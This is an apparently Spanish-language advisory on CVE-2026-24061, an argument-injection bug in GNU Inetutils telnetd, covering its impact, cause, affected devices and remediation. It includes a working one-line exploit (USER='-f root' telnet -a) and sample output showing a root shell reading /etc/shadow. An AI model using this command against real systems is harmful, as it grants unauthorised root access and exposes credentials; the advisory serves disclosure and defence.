🚨 CVE-2026-24061 — “TelneTD”

Bypass crítico de autenticación remota en GNU Inetutils telnetd
El fantasma de 2015 ha vuelto para apoderarse de todo lo que todavía ejecuta telnet.

Cero autenticación. Una variable de entorno. Shell root instantánea.

⚠️ Resumen

CVE-2026-24061 es una vulnerabilidad crítica de escalada de privilegios remota en GNU Inetutils telnetd ≤ 2.7.

Un atacante remoto no autenticado establece la variable de entorno USER a "-f root" mediante la opción NEW-ENVIRON de Telnet.
telnetd lo pasa sin sanitizar directamente a /bin/login → login ve -f root → omite toda la autenticación → deja al atacante en una shell root.

El código peligroso permaneció silencioso en el árbol durante casi 11 años (desde ~2015).

“Una variable de entorno. Sin contraseña. Root completo. Bienvenidos a 2026.”

🔥 Gravedad e impacto

• Puntuación base CVSS v3.1: 9.8 / Crítica
  AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
• Vector de ataque: Red (TCP/23)
• Privilegios requeridos: Ninguno
• Interacción del usuario: Ninguna
• Madurez del exploit: Trivial (funciona con una sola línea desde cualquier cliente telnet)

Realidad en marzo de 2026:

• Escaneo masivo y explotación observados desde finales de enero
• Dispositivos embebidos heredados, equipos OT y servidores de prueba olvidados siguen totalmente expuestos
• Compromiso total del sistema: credenciales, persistencia, punto de entrada para ransomware

🕵️ Descubrimiento

• Notificado de forma privada a los mantenedores de GNU a mediados de enero de 2026
• Divulgado públicamente a través de oss-security a finales de enero de 2026
• Corregido en GNU Inetutils ≥ 2.8 (publicado poco después de la divulgación)

🔬 Análisis técnico en profundidad

Cuando telnetd recibe una opción NEW-ENVIRON que contiene:

USER=-f root

Añade el valor directamente al argv pasado a /bin/login:

execve("/bin/login", ["login", "-f", "root", ...], ...)

El binario login interpreta -f root como:
“este usuario ya está autenticado como root — no se necesita comprobar la contraseña”.

→ El atacante obtiene el prompt #. Fin del juego.

Decisión de diseño fatal clave: el reenvío de -R / variables de entorno nunca se restringió a usuarios autorizados.

📅 Cronología

🖥️ Sistemas afectados

Versiones vulnerables: GNU Inetutils telnetd 1.9.3 – 2.7
Objetivos comunes en 2026:

• Controladores industriales y HMI heredados
• Routers, switches e impresoras antiguos
• Dispositivos embebidos basados en Debian
• Máquinas virtuales y contenedores de desarrollo/pruebas olvidados
• Pasarelas OT que aún exponen TCP/23

Seguros:

• Sistemas que ejecutan busybox telnetd
• Inetutils ≥ 2.8
• Telnet completamente deshabilitado / protegido por firewall

💥 Exploit en acción

Una sola línea (cualquier Linux/macOS con cliente telnet):

USER="-f root" telnet -a 192.168.1.50

Salida típica:

┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

Una pulsación de la tecla Enter después: acceso root completo.

🛡️ Verificación y remediación (marzo de 2026)

1. Detectar el servicio vulnerable

telnet localhost 23   # look for inetutils banner
inetutils-telnetd --version   # vulnerable if ≤ 2.7

2. Elimínalo (la opción preferida para siempre)

systemctl disable --now inetutils-inetd   # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. Actualiza (solo si debes mantener telnet — poco habitual)

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. Firewall (doble seguridad)

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 Estado — marzo de 2026

• La explotación continúa contra dispositivos heredados sin parchear
• El uso de Telnet está en mínimos históricos — pero sigue siendo letal cuando está presente
• Conclusión para el ecosistema: los protocolos heredados son minas terrestres

🎓 Lecciones grabadas en piedra

• Los errores de hace 11 años todavía se esconden en código “muerto”
• Nunca pases entrada de usuario sin sanitizar a binarios que lanzan procesos root
• La inyección de argumentos → root es atemporal
• Telnet debería haber muerto en 2010. Elimínalo en 2026.